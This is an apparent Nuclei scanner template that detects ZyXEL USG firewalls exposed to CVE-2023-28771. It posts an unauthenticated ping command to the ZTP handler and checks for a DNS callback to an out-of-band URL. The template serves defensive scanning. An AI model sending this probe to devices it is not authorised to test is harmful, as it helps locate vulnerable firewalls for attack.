34 lines
1.2 KiB
YAML
34 lines
1.2 KiB
YAML
|
id: unauth-ztp-ping
|
||
|
|
|
||
|
|
info:
|
||
|
|
name: ZyXEL USG ZTP Lack of Authentication
|
||
|
|
description: |
|
||
|
|
Make a ZyXEL USG with ZTP support, pre CVE-2023-28771 patch, do a DNS lookup by asking it to make an ICMP request.
|
||
|
|
This template can be used to detect hosts potentially vulnerable to CVE-2023-28771, CVE-2022-30525, and other issues, without actually exploiting the vulnerability.
|
||
|
|
reference:
|
||
|
|
- https://www.fullspectrum.dev/the-hunt-for-cve-2023-28771-friends-part-2-fingerprinting-handler/
|
||
|
|
- https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-remote-command-injection-vulnerability-of-firewalls?ref=fullspectrum.dev
|
||
|
|
metadata:
|
||
|
|
verified: "true"
|
||
|
|
author: dmartyn
|
||
|
|
severity: medium
|
||
|
|
tags: misconfig,unauth,zyxel,ztp
|
||
|
|
|
||
|
|
requests:
|
||
|
|
- raw:
|
||
|
|
- | # try resolve
|
||
|
|
POST /ztp/cgi-bin/handler HTTP/1.1
|
||
|
|
Host: {{Hostname}}
|
||
|
|
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0
|
||
|
|
Content-Type: application/json
|
||
|
|
Connection: close
|
||
|
|
|
||
|
|
{"command":"ping","dest":"{{interactsh-url}}"}
|
||
|
|
|
||
|
|
|
||
|
|
matchers:
|
||
|
|
- type: word
|
||
|
|
part: interactsh_protocol # Confirms the DNS Interaction
|
||
|
|
words:
|
||
|
|
- "dns"
|